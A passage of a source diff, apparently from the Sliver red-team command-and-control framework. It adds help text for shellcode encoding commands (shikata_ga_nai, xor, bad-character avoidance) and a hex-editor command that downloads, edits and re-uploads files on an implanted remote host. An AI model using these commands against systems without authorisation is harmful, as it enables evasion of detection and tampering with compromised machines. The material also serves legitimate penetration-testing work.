shikata-ga-nai -a amd64 -i 3 /tmp/payload.bin
|
||||
|
||||
Avoid bad chars and write to a file:
|
||||
shikata-ga-nai -b 000a0d -s /tmp/payload.sgn /tmp/payload.bin
|
||||
|
||||
[[.Bold]]Related:[[.Normal]] shellcode-encoders encode --encoder shikata_ga_nai ...`
|
||||
|
||||
shellcodeEncodersHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders
|
||||
[[.Bold]]About:[[.Normal]] Lists the shellcode encoders supported by the server along with architectures and descriptions.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
|
||||
List encoders and supported architectures:
|
||||
shellcode-encoders
|
||||
`
|
||||
|
||||
shellcodeEncodersEncodeHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders encode [local path to raw shellcode]...
|
||||
[[.Bold]]About:[[.Normal]] Encodes one or more shellcode files using a server-side encoder. Encoder support depends on
|
||||
architecture; use [[.Bold]]shellcode-encoders[[.Normal]] to list valid combinations.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
|
||||
Encode a single file with shikata_ga_nai:
|
||||
shellcode-encoders encode --encoder shikata_ga_nai --arch amd64 /tmp/payload.bin
|
||||
|
||||
Encode multiple files and write outputs to a directory:
|
||||
shellcode-encoders encode --encoder xor --arch amd64 -o /tmp/out payload1.bin payload2.bin
|
||||
|
||||
Avoid bad characters with SGN:
|
||||
shellcode-encoders encode --encoder shikata_ga_nai --arch 386 -b 000a0d -o /tmp/encoded.bin /tmp/payload.bin
|
||||
`
|
||||
|
||||
migrateHelp = `[[.Bold]]Command:[[.Normal]] migrate <flags>
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Migrates into the process designated by <flags>.`
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
package hexedit
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the hex-edit command.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
hexEditCmd := &cobra.Command{
|
||||
Use: consts.HexEditStr + " <remote path>",
|
||||
Short: "Hex edit a remote file",
|
||||
Long: help.GetHelpFor([]string{consts.HexEditStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
HexEditCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
|
||||
flags.Bind("", false, hexEditCmd, func(f *pflag.FlagSet) {
|
||||
f.String("max-size", "8MB", "maximum file size to load (e.g. 8MB, 512KB)")
|
||||
f.Int64("offset", 0, "byte offset to jump to (decimal or 0x...)")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
carapace.Gen(hexEditCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("path to the remote file to hex edit"),
|
||||
)
|
||||
|
||||
return []*cobra.Command{hexEditCmd}
|
||||
}
|
||||
@@ -0,0 +1,713 @@
|
||||
package hexedit
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/util"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
type editorMode int
|
||||
|
||||
const (
|
||||
modeNormal editorMode = iota
|
||||
modeHexEdit
|
||||
modeASCIIEdit
|
||||
modeCommand
|
||||
)
|
||||
|
||||
type exitAction int
|
||||
|
||||
const (
|
||||
actionNone exitAction = iota
|
||||
actionQuit
|
||||
actionSaveQuit
|
||||
)
|
||||
|
||||
const bytesPerLine = 16
|
||||
|
||||
type editorResult struct {
|
||||
Data []byte
|
||||
Modified bool
|
||||
Action exitAction
|
||||
Force bool
|
||||
}
|
||||
|
||||
type editorModel struct {
|
||||
data []byte
|
||||
original []byte
|
||||
modified []bool
|
||||
modifiedCount int
|
||||
cursor int
|
||||
top int
|
||||
width int
|
||||
height int
|
||||
mode editorMode
|
||||
command string
|
||||
commandPrefix rune
|
||||
pending rune
|
||||
dirty bool
|
||||
forceQuit bool
|
||||
action exitAction
|
||||
filename string
|
||||
message string
|
||||
clearMessage bool
|
||||
nibbleSet bool
|
||||
nibbleValue byte
|
||||
}
|
||||
|
||||
var (
|
||||
cursorStyle = lipgloss.NewStyle().Reverse(true)
|
||||
modifiedStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
|
||||
modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
|
||||
statusStyle = lipgloss.NewStyle().Reverse(true)
|
||||
lineStyle = lipgloss.NewStyle()
|
||||
)
|
||||
|
||||
func newEditorModel(data []byte, filename string, offset int) *editorModel {
|
||||
copyData := append([]byte(nil), data...)
|
||||
model := &editorModel{
|
||||
data: copyData,
|
||||
original: append([]byte(nil), data...),
|
||||
modified: make([]bool, len(copyData)),
|
||||
mode: modeNormal,
|
||||
filename: filename,
|
||||
commandPrefix: ':',
|
||||
}
|
||||
if offset > 0 && offset < len(copyData) {
|
||||
model.cursor = offset
|
||||
}
|
||||
return model
|
||||
}
|
||||
|
||||
func (m *editorModel) Init() tea.Cmd {
|
||||
if m.width == 0 || m.height == 0 {
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
m.width = w
|
||||
m.height = h
|
||||
} else {
|
||||
m.width = 80
|
||||
m.height = 24
|
||||
}
|
||||
m.ensureCursorVisible()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
||||
switch msg := msg.(type) {
|
||||
case tea.WindowSizeMsg:
|
||||
m.width = msg.Width
|
||||
m.height = msg.Height
|
||||
m.ensureCursorVisible()
|
||||
return m, nil
|
||||
case tea.KeyMsg:
|
||||
if m.clearMessage {
|
||||
m.message = ""
|
||||
m.clearMessage = false
|
||||
}
|
||||
if msg.Type == tea.KeyCtrlC {
|
||||
m.action = actionQuit
|
||||
return m, tea.Quit
|
||||
}
|
||||
switch m.mode {
|
||||
case modeCommand:
|
||||
return m.handleCommand(msg)
|
||||
case modeHexEdit:
|
||||
return m.handleHexEdit(msg)
|
||||
case modeASCIIEdit:
|
||||
return m.handleASCIIEdit(msg)
|
||||
default:
|
||||
return m.handleNormal(msg)
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) View() string {
|
||||
if m.width == 0 || m.height == 0 {
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
m.width = w
|
||||
m.height = h
|
||||
} else {
|
||||
m.width = 80
|
||||
m.height = 24
|
||||
}
|
||||
m.ensureCursorVisible()
|
||||
}
|
||||
|
||||
textHeight := m.textHeight()
|
||||
var b strings.Builder
|
||||
for i := 0; i < textHeight; i++ {
|
||||
lineIndex := m.top + i
|
||||
b.WriteString(m.renderLine(lineIndex))
|
||||
if i < textHeight-1 {
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
|
||||
if m.height < 2 {
|
||||
return b.String()
|
||||
}
|
||||
|
||||
b.WriteByte('\n')
|
||||
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
|
||||
|
||||
if m.height < 3 {
|
||||
return b.String()
|
||||
}
|
||||
|
||||
b.WriteByte('\n')
|
||||
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func (m *editorModel) result() editorResult {
|
||||
data := append([]byte(nil), m.data...)
|
||||
return editorResult{
|
||||
Data: data,
|
||||
Modified: m.dirty,
|
||||
Action: m.action,
|
||||
Force: m.forceQuit,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
m.command = ""
|
||||
m.commandPrefix = ':'
|
||||
case tea.KeyEnter:
|
||||
m.executeCommand(strings.TrimSpace(m.command))
|
||||
m.command = ""
|
||||
m.mode = modeNormal
|
||||
m.commandPrefix = ':'
|
||||
if m.action != actionNone {
|
||||
return m, tea.Quit
|
||||
}
|
||||
case tea.KeyBackspace:
|
||||
m.command = popRune(m.command)
|
||||
case tea.KeyRunes:
|
||||
m.command += string(msg.Runes)
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
m.nibbleSet = false
|
||||
case tea.KeyBackspace:
|
||||
if m.nibbleSet {
|
||||
m.nibbleSet = false
|
||||
return m, nil
|
||||
}
|
||||
m.moveLeft()
|
||||
case tea.KeyLeft:
|
||||
m.moveLeft()
|
||||
m.nibbleSet = false
|
||||
case tea.KeyRight:
|
||||
m.moveRight()
|
||||
m.nibbleSet = false
|
||||
case tea.KeyUp:
|
||||
m.moveUp()
|
||||
m.nibbleSet = false
|
||||
case tea.KeyDown:
|
||||
m.moveDown()
|
||||
m.nibbleSet = false
|
||||
case tea.KeyRunes:
|
||||
for _, r := range msg.Runes {
|
||||
val, ok := hexNibble(r)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if !m.nibbleSet {
|
||||
m.nibbleValue = val << 4
|
||||
m.nibbleSet = true
|
||||
continue
|
||||
}
|
||||
m.setByte(m.nibbleValue | val)
|
||||
m.nibbleSet = false
|
||||
m.moveRight()
|
||||
}
|
||||
}
|
||||
m.ensureCursorVisible()
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
case tea.KeyLeft:
|
||||
m.moveLeft()
|
||||
case tea.KeyRight:
|
||||
m.moveRight()
|
||||
case tea.KeyUp:
|
||||
m.moveUp()
|
||||
case tea.KeyDown:
|
||||
m.moveDown()
|
||||
case tea.KeyRunes:
|
||||
for _, r := range msg.Runes {
|
||||
if r < 0 || r > 0xFF {
|
||||
continue
|
||||
}
|
||||
m.setByte(byte(r))
|
||||
m.moveRight()
|
||||
}
|
||||
}
|
||||
m.ensureCursorVisible()
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
switch msg.Type {
|
||||
case tea.KeyEsc:
|
||||
m.pending = 0
|
||||
case tea.KeyLeft:
|
||||
m.moveLeft()
|
||||
case tea.KeyRight:
|
||||
m.moveRight()
|
||||
case tea.KeyUp:
|
||||
m.moveUp()
|
||||
case tea.KeyDown:
|
||||
m.moveDown()
|
||||
case tea.KeyRunes:
|
||||
for _, r := range msg.Runes {
|
||||
if m.handleNormalRune(r) {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
m.ensureCursorVisible()
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleNormalRune(r rune) bool {
|
||||
if m.pending != 0 {
|
||||
handled := true
|
||||
switch m.pending {
|
||||
case 'g':
|
||||
if r == 'g' {
|
||||
m.gotoTop()
|
||||
} else {
|
||||
handled = false
|
||||
}
|
||||
default:
|
||||
handled = false
|
||||
}
|
||||
m.pending = 0
|
||||
if handled {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
switch r {
|
||||
case 'h':
|
||||
m.moveLeft()
|
||||
case 'j':
|
||||
m.moveDown()
|
||||
case 'k':
|
||||
m.moveUp()
|
||||
case 'l':
|
||||
m.moveRight()
|
||||
case '0':
|
||||
m.moveLineStart()
|
||||
case '$':
|
||||
m.moveLineEnd()
|
||||
case 'i':
|
||||
m.mode = modeHexEdit
|
||||
m.nibbleSet = false
|
||||
case 'a':
|
||||
m.mode = modeASCIIEdit
|
||||
case 'x':
|
||||
m.setByte(0x00)
|
||||
case 'g':
|
||||
m.pending = 'g'
|
||||
case 'G':
|
||||
m.gotoBottom()
|
||||
case ':':
|
||||
m.mode = modeCommand
|
||||
m.command = ""
|
||||
m.commandPrefix = ':'
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (m *editorModel) executeCommand(cmd string) {
|
||||
if cmd == "" {
|
||||
return
|
||||
}
|
||||
|
||||
if isNumericOffset(cmd) {
|
||||
if value, err := strconv.ParseInt(cmd, 0, 64); err == nil {
|
||||
m.gotoOffset(int(value))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
switch strings.ToLower(cmd) {
|
||||
case "q":
|
||||
m.action = actionQuit
|
||||
case "q!":
|
||||
m.action = actionQuit
|
||||
m.forceQuit = true
|
||||
case "wq", "x":
|
||||
m.action = actionSaveQuit
|
||||
case "w":
|
||||
m.message = "Use :wq to upload and exit"
|
||||
m.clearMessage = true
|
||||
default:
|
||||
m.message = fmt.Sprintf("Unknown command: %s", cmd)
|
||||
m.clearMessage = true
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) renderLine(lineIndex int) string {
|
||||
totalWidth := m.textWidth()
|
||||
if totalWidth <= 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
if lineIndex >= m.totalLines() {
|
||||
return lineStyle.Width(totalWidth).Render("~")
|
||||
}
|
||||
|
||||
lineStart := lineIndex * bytesPerLine
|
||||
hexCells := make([]string, bytesPerLine)
|
||||
asciiCells := make([]string, bytesPerLine)
|
||||
|
||||
for i := 0; i < bytesPerLine; i++ {
|
||||
idx := lineStart + i
|
||||
if idx >= len(m.data) {
|
||||
hexCells[i] = " "
|
||||
asciiCells[i] = " "
|
||||
continue
|
||||
}
|
||||
byteVal := m.data[idx]
|
||||
hexRaw := fmt.Sprintf("%02x", byteVal)
|
||||
if idx == m.cursor && m.mode == modeHexEdit && m.nibbleSet {
|
||||
hexRaw = string([]byte{hexChar(m.nibbleValue >> 4), '_'})
|
||||
}
|
||||
asciiRaw := string(printableByte(byteVal))
|
||||
isModified := m.isModified(idx)
|
||||
if idx == m.cursor {
|
||||
if isModified {
|
||||
hexCells[i] = modifiedCursorStyle.Render(hexRaw)
|
||||
asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
|
||||
} else {
|
||||
hexCells[i] = cursorStyle.Render(hexRaw)
|
||||
asciiCells[i] = cursorStyle.Render(asciiRaw)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if isModified {
|
||||
hexCells[i] = modifiedStyle.Render(hexRaw)
|
||||
asciiCells[i] = modifiedStyle.Render(asciiRaw)
|
||||
continue
|
||||
}
|
||||
hexCells[i] = hexRaw
|
||||
asciiCells[i] = asciiRaw
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("%08x", lineStart))
|
||||
b.WriteString(": ")
|
||||
for i := 0; i < bytesPerLine; i++ {
|
||||
if i == 8 {
|
||||
b.WriteByte(' ')
|
||||
}
|
||||
b.WriteString(hexCells[i])
|
||||
if i < bytesPerLine-1 {
|
||||
b.WriteByte(' ')
|
||||
}
|
||||
}
|
||||
b.WriteString(" |")
|
||||
for i := 0; i < bytesPerLine; i++ {
|
||||
b.WriteString(asciiCells[i])
|
||||
}
|
||||
b.WriteString("|")
|
||||
|
||||
return lineStyle.Width(totalWidth).Render(b.String())
|
||||
}
|
||||
|
||||
func (m *editorModel) statusLine() string {
|
||||
mode := "NORMAL"
|
||||
switch m.mode {
|
||||
case modeHexEdit:
|
||||
mode = "HEX"
|
||||
case modeASCIIEdit:
|
||||
mode = "ASCII"
|
||||
case modeCommand:
|
||||
mode = "COMMAND"
|
||||
}
|
||||
fileName := baseName(m.filename)
|
||||
if fileName == "" {
|
||||
fileName = "[No Name]"
|
||||
}
|
||||
modified := ""
|
||||
if m.dirty {
|
||||
modified = " [+]"
|
||||
}
|
||||
cursor := m.cursor
|
||||
return fmt.Sprintf(" %s %s Off 0x%08x (%d) Size %s%s", mode, fileName, cursor, cursor, util.ByteCountBinary(int64(len(m.data))), modified)
|
||||
}
|
||||
|
||||
func (m *editorModel) commandLine() string {
|
||||
if m.mode == modeCommand {
|
||||
return ":" + m.command
|
||||
}
|
||||
if m.message != "" {
|
||||
return m.message
|
||||
}
|
||||
switch m.mode {
|
||||
case modeHexEdit:
|
||||
return "ESC: normal hex: 0-9/a-f :wq save+quit :q quit"
|
||||
case modeASCIIEdit:
|
||||
return "ESC: normal type to edit bytes :wq save+quit :q quit"
|
||||
default:
|
||||
return "i: hex edit a: ascii edit h/j/k/l move x zero :wq save+quit :q quit"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) textHeight() int {
|
||||
if m.height <= 2 {
|
||||
return 1
|
||||
}
|
||||
return m.height - 2
|
||||
}
|
||||
|
||||
func (m *editorModel) textWidth() int {
|
||||
if m.width <= 0 {
|
||||
return 1
|
||||
}
|
||||
return m.width
|
||||
}
|
||||
|
||||
func (m *editorModel) totalLines() int {
|
||||
if len(m.data) == 0 {
|
||||
return 1
|
||||
}
|
||||
return (len(m.data) + bytesPerLine - 1) / bytesPerLine
|
||||
}
|
||||
|
||||
func (m *editorModel) ensureCursorVisible() {
|
||||
if len(m.data) == 0 {
|
||||
m.cursor = 0
|
||||
m.top = 0
|
||||
return
|
||||
}
|
||||
if m.cursor < 0 {
|
||||
m.cursor = 0
|
||||
}
|
||||
if m.cursor >= len(m.data) {
|
||||
m.cursor = len(m.data) - 1
|
||||
}
|
||||
|
||||
line := m.cursor / bytesPerLine
|
||||
height := m.textHeight()
|
||||
if line < m.top {
|
||||
m.top = line
|
||||
} else if line >= m.top+height {
|
||||
m.top = line - height + 1
|
||||
}
|
||||
if m.top < 0 {
|
||||
m.top = 0
|
||||
}
|
||||
maxTop := m.totalLines() - height
|
||||
if maxTop < 0 {
|
||||
maxTop = 0
|
||||
}
|
||||
if m.top > maxTop {
|
||||
m.top = maxTop
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) moveLeft() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
if m.cursor > 0 {
|
||||
m.cursor--
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) moveRight() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
if m.cursor < len(m.data)-1 {
|
||||
m.cursor++
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) moveUp() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
if m.cursor >= bytesPerLine {
|
||||
m.cursor -= bytesPerLine
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) moveDown() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
if m.cursor+bytesPerLine < len(m.data) {
|
||||
m.cursor += bytesPerLine
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) moveLineStart() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
line := m.cursor / bytesPerLine
|
||||
m.cursor = line * bytesPerLine
|
||||
}
|
||||
|
||||
func (m *editorModel) moveLineEnd() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
line := m.cursor / bytesPerLine
|
||||
end := (line+1)*bytesPerLine - 1
|
||||
if end >= len(m.data) {
|
||||
end = len(m.data) - 1
|
||||
}
|
||||
m.cursor = end
|
||||
}
|
||||
|
||||
func (m *editorModel) gotoTop() {
|
||||
if len(m.data) == 0 {
|
||||
m.cursor = 0
|
||||
return
|
||||
}
|
||||
m.cursor = 0
|
||||
}
|
||||
|
||||
func (m *editorModel) gotoBottom() {
|
||||
if len(m.data) == 0 {
|
||||
m.cursor = 0
|
||||
return
|
||||
}
|
||||
m.cursor = len(m.data) - 1
|
||||
}
|
||||
|
||||
func (m *editorModel) gotoOffset(offset int) {
|
||||
if len(m.data) == 0 {
|
||||
m.message = "Empty file"
|
||||
m.clearMessage = true
|
||||
return
|
||||
}
|
||||
if offset < 0 || offset >= len(m.data) {
|
||||
m.message = fmt.Sprintf("Offset out of range: %d", offset)
|
||||
m.clearMessage = true
|
||||
return
|
||||
}
|
||||
m.cursor = offset
|
||||
m.ensureCursorVisible()
|
||||
}
|
||||
|
||||
func (m *editorModel) setByte(value byte) {
|
||||
if len(m.data) == 0 {
|
||||
m.message = "Empty file"
|
||||
m.clearMessage = true
|
||||
return
|
||||
}
|
||||
if m.cursor >= len(m.data) || m.cursor >= len(m.original) {
|
||||
return
|
||||
}
|
||||
wasModified := m.modified[m.cursor]
|
||||
orig := m.original[m.cursor]
|
||||
m.data[m.cursor] = value
|
||||
if value == orig {
|
||||
if wasModified {
|
||||
m.modified[m.cursor] = false
|
||||
if m.modifiedCount > 0 {
|
||||
m.modifiedCount--
|
||||
}
|
||||
}
|
||||
} else if !wasModified {
|
||||
m.modified[m.cursor] = true
|
||||
m.modifiedCount++
|
||||
}
|
||||
m.dirty = m.modifiedCount > 0
|
||||
}
|
||||
|
||||
func printableByte(b byte) byte {
|
||||
if b >= 32 && b <= 126 {
|
||||
return b
|
||||
}
|
||||
return '.'
|
||||
}
|
||||
|
||||
func (m *editorModel) isModified(idx int) bool {
|
||||
if idx < 0 || idx >= len(m.modified) {
|
||||
return false
|
||||
}
|
||||
return m.modified[idx]
|
||||
}
|
||||
|
||||
func hexChar(n byte) byte {
|
||||
if n < 10 {
|
||||
return '0' + n
|
||||
}
|
||||
return 'a' + (n - 10)
|
||||
}
|
||||
|
||||
func hexNibble(r rune) (byte, bool) {
|
||||
switch {
|
||||
case r >= '0' && r <= '9':
|
||||
return byte(r - '0'), true
|
||||
case r >= 'a' && r <= 'f':
|
||||
return byte(r-'a') + 10, true
|
||||
case r >= 'A' && r <= 'F':
|
||||
return byte(r-'A') + 10, true
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
func isNumericOffset(value string) bool {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return false
|
||||
}
|
||||
if strings.HasPrefix(strings.ToLower(value), "0x") {
|
||||
_, err := strconv.ParseInt(value, 0, 64)
|
||||
return err == nil
|
||||
}
|
||||
for _, r := range value {
|
||||
if r < '0' || r > '9' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func popRune(value string) string {
|
||||
runes := []rune(value)
|
||||
if len(runes) == 0 {
|
||||
return value
|
||||
}
|
||||
return string(runes[:len(runes)-1])
|
||||
}
|
||||
|
||||
func baseName(path string) string {
|
||||
if path == "" {
|
||||
return ""
|
||||
}
|
||||
clean := strings.ReplaceAll(path, "\\", "/")
|
||||
if idx := strings.LastIndex(clean, "/"); idx != -1 {
|
||||
return clean[idx+1:]
|
||||
}
|
||||
return path
|
||||
}
|
||||
@@ -0,0 +1,349 @@
|
||||
package hexedit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
beaconPollInterval = 1 * time.Second
|
||||
)
|
||||
|
||||
// HexEditCmd downloads a remote file, opens it in a hex editor, and optionally uploads changes.
|
||||
func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := strings.TrimSpace(args[0])
|
||||
if remotePath == "" {
|
||||
con.PrintErrorf("Missing parameter: remote path\n")
|
||||
return
|
||||
}
|
||||
|
||||
maxSizeStr, _ := cmd.Flags().GetString("max-size")
|
||||
maxSize, err := parseByteSize(maxSizeStr)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid --max-size %q: %s\n", maxSizeStr, err)
|
||||
return
|
||||
}
|
||||
if maxSize <= 0 {
|
||||
con.PrintErrorf("--max-size must be greater than zero\n")
|
||||
return
|
||||
}
|
||||
|
||||
offset, _ := cmd.Flags().GetInt64("offset")
|
||||
if offset < 0 {
|
||||
con.PrintErrorf("--offset must be zero or positive\n")
|
||||
return
|
||||
}
|
||||
|
||||
fetchSize := maxSize + 1
|
||||
if fetchSize < maxSize {
|
||||
fetchSize = maxSize
|
||||
}
|
||||
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := downloadRemote(ctx, con, cmd, remotePath, fetchSize)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
if !download.Exists {
|
||||
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
|
||||
return
|
||||
}
|
||||
if download.IsDir {
|
||||
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
|
||||
return
|
||||
}
|
||||
|
||||
data := download.Data
|
||||
if download.Encoder == "gzip" {
|
||||
data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if int64(len(data)) > maxSize {
|
||||
con.PrintErrorf("Remote file size %s exceeds --max-size %s\n", util.ByteCountBinary(int64(len(data))), util.ByteCountBinary(maxSize))
|
||||
return
|
||||
}
|
||||
|
||||
if offset > 0 {
|
||||
if len(data) == 0 {
|
||||
con.PrintErrorf("Offset %d out of range for empty file\n", offset)
|
||||
return
|
||||
}
|
||||
if offset >= int64(len(data)) {
|
||||
con.PrintErrorf("Offset %d out of range (file size %d bytes)\n", offset, len(data))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
path := download.Path
|
||||
if path == "" {
|
||||
path = remotePath
|
||||
}
|
||||
|
||||
for {
|
||||
result, err := runHexEditor(data, path, int(offset))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Editor error: %s\n", err)
|
||||
return
|
||||
}
|
||||
data = result.Data
|
||||
|
||||
if result.Action == actionNone {
|
||||
return
|
||||
}
|
||||
|
||||
if !result.Modified {
|
||||
if result.Action == actionSaveQuit {
|
||||
con.PrintInfof("No changes to upload for %s\n", path)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
switch result.Action {
|
||||
case actionSaveQuit:
|
||||
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if !uploadNow {
|
||||
keepEditing, err := confirm("Continue editing?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if keepEditing {
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if err := uploadEditedContent(cmd, con, path, data); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
return
|
||||
case actionQuit:
|
||||
if result.Force {
|
||||
return
|
||||
}
|
||||
discard, err := confirm("Discard changes?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if discard {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
|
||||
model := newEditorModel(data, filename, offset)
|
||||
program := tea.NewProgram(model, tea.WithAltScreen())
|
||||
finalModel, err := program.Run()
|
||||
if err != nil {
|
||||
return editorResult{}, err
|
||||
}
|
||||
editor, ok := finalModel.(*editorModel)
|
||||
if !ok {
|
||||
return editorResult{}, fmt.Errorf("unexpected editor state")
|
||||
}
|
||||
return editor.result(), nil
|
||||
}
|
||||
|
||||
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string, maxBytes int64) (*sliverpb.Download, error) {
|
||||
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: path,
|
||||
RestrictedToFile: true,
|
||||
MaxBytes: maxBytes,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
taskID := download.Response.TaskID
|
||||
download = &sliverpb.Download{}
|
||||
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return download, nil
|
||||
}
|
||||
|
||||
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
